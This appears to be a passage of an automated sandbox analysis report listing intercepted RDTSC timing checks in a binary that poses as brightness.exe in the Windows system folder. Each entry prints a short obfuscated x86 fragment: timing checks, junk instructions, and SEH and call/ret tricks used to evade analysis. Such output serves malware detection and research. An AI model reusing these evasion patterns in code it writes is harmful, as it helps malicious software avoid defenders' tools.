Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E2B7 second address: 52E2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4600C59B06h 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E2C1 second address: 52E2E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F4600EB04E6h 0x00000012 pop edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E2E4 second address: 52E2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E70F second address: 52E715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E715 second address: 52E721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E721 second address: 52E725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52E725 second address: 52E72B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52EF95 second address: 52EF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52EF9C second address: 52EFAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4600C59B06h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533F77 second address: 533F82 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533F82 second address: 533FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jnl 00007F4600C59B1Dh 0x0000000d jmp 00007F4600C59B11h 0x00000012 jnp 00007F4600C59B06h 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F4600C59B06h 0x00000020 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 532D92 second address: 532DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F4600EB04F3h 0x0000000b jmp 00007F4600EB04EAh 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F4600EB04F9h 0x00000017 popad 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 532DD8 second address: 532DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600C59B11h 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 532DED second address: 532DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 532DF1 second address: 532E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600C59B11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F3539 second address: 4F353D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F353D second address: 4F3541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F3541 second address: 4F35D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 mov dl, C7h 0x0000000a push dword ptr fs:[00000000h] 0x00000011 or cx, 800Ah 0x00000016 sbb cl, 0000002Fh 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov edi, dword ptr [ebp+143638ABh] 0x00000026 mov dword ptr [ebp+14511171h], esp 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F4600EB04E8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 call 00007F4600EB04F0h 0x0000004b mov edx, 3242F63Dh 0x00000050 pop edi 0x00000051 cmp dword ptr [ebp+143638DFh], 00000000h 0x00000058 jne 00007F4600EB054Fh 0x0000005e mov dword ptr [ebp+1436250Dh], edx 0x00000064 mov byte ptr [ebp+14361D7Ah], 00000047h 0x0000006b jnc 00007F4600EB04E8h 0x00000071 mov eax, D49AA7D2h 0x00000076 or dword ptr [ebp+14361F50h], eax 0x0000007c nop 0x0000007d je 00007F4600EB04F8h 0x00000083 pushad 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F3BCE second address: 4F3BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F3BD4 second address: 4F3BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F3BD8 second address: 4F3C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b mov cx, ax 0x0000000e jbe 00007F4600C59B06h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4600C59B15h 0x0000001c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F4366 second address: 4F436F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F44AE second address: 4F44B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F4726 second address: 4F4758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, dword ptr [ebp+14363AB7h] 0x00000010 lea eax, dword ptr [ebp+1451115Dh] 0x00000016 mov dx, cx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F4600EB04EBh 0x00000021 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F4758 second address: 4F475D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F475D second address: 4F47D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600EB04F7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F4600EB04E8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push esi 0x0000002a mov ecx, dword ptr [ebp+143621E8h] 0x00000030 pop edi 0x00000031 jmp 00007F4600EB04F6h 0x00000036 lea eax, dword ptr [ebp+14511119h] 0x0000003c mov edi, 40E383C0h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push esi 0x00000047 pop esi 0x00000048 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F47D1 second address: 4F47DB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4600C59B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533279 second address: 533282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533684 second address: 53368D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53368D second address: 533697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4600EB04E6h 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533697 second address: 53369B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53369B second address: 5336A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5336A1 second address: 5336CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F4600C59B06h 0x00000015 jmp 00007F4600C59B17h 0x0000001a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5336CD second address: 5336D7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4600EB04E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5336D7 second address: 533704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4600C59B12h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F4600C59B0Fh 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533704 second address: 53370E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4600EB04E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 533848 second address: 53384C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53384C second address: 533850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 535772 second address: 535776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53715E second address: 537175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jnl 00007F4600EB04E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 537175 second address: 53717F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53717F second address: 537185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 537185 second address: 53718A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53718A second address: 537195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4600EB04E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4A6D37 second address: 4A6D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53A3AF second address: 53A3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4600EB04F8h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F4600EB04ECh 0x00000014 js 00007F4600EB04E6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53A3E6 second address: 53A400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600C59B14h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53E6C7 second address: 53E6CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53E91A second address: 53E922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53ECF3 second address: 53ECF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53EF61 second address: 53EF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ebx 0x00000009 jmp 00007F4600C59B15h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53EF88 second address: 53EF8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53F27D second address: 53F2B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4600C59B0Fh 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4600C59B0Eh 0x00000016 jmp 00007F4600C59B0Ah 0x0000001b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 53F2B0 second address: 53F2B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 543408 second address: 54340C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 54340C second address: 543412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5430FB second address: 543117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 543117 second address: 54311D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 54311D second address: 543142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 jns 00007F4600C59B2Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4600C59B17h 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5454E1 second address: 5454E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 548EBA second address: 548ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F4600C59B06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F4600C59B2Ah 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5492D1 second address: 5492DB instructions: 0x00000000 rdtsc 0x00000002 js 00007F4600EB04E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 54E895 second address: 54E8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007F4600C59B0Dh 0x0000000c jp 00007F4600C59B0Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5557EF second address: 55580C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555A56 second address: 555A8B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4600C59B06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4600C59B11h 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007F4600C59B0Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F4600C59B06h 0x00000020 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555A8B second address: 555A8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555D50 second address: 555D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555D56 second address: 555D5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555EBB second address: 555EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555EC1 second address: 555EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 555EC5 second address: 555ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5561F9 second address: 55623F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F0h 0x00000007 jmp 00007F4600EB04EDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jns 00007F4600EB0501h 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5569F6 second address: 5569FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5569FA second address: 556A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4600EB04ECh 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 554F77 second address: 554F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 55D6CC second address: 55D6D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 55D6D2 second address: 55D6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4600C59B16h 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 55D6EE second address: 55D6F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 55D6F4 second address: 55D6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 55D6F8 second address: 55D6FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 55D843 second address: 55D851 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4600C59B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56B1B8 second address: 56B1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4AF6B8 second address: 4AF6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4AF6BC second address: 4AF6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4600EB04E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F4600EB04E6h 0x00000014 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56AEB5 second address: 56AECC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B13h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56AECC second address: 56AED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56D488 second address: 56D494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4600C59B06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56D494 second address: 56D4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4600EB04F0h 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56D4AB second address: 56D4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 56D4AF second address: 56D4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 578C10 second address: 578C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 57E87F second address: 57E893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F4600EB04EDh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 57E893 second address: 57E898 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 58408F second address: 584094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
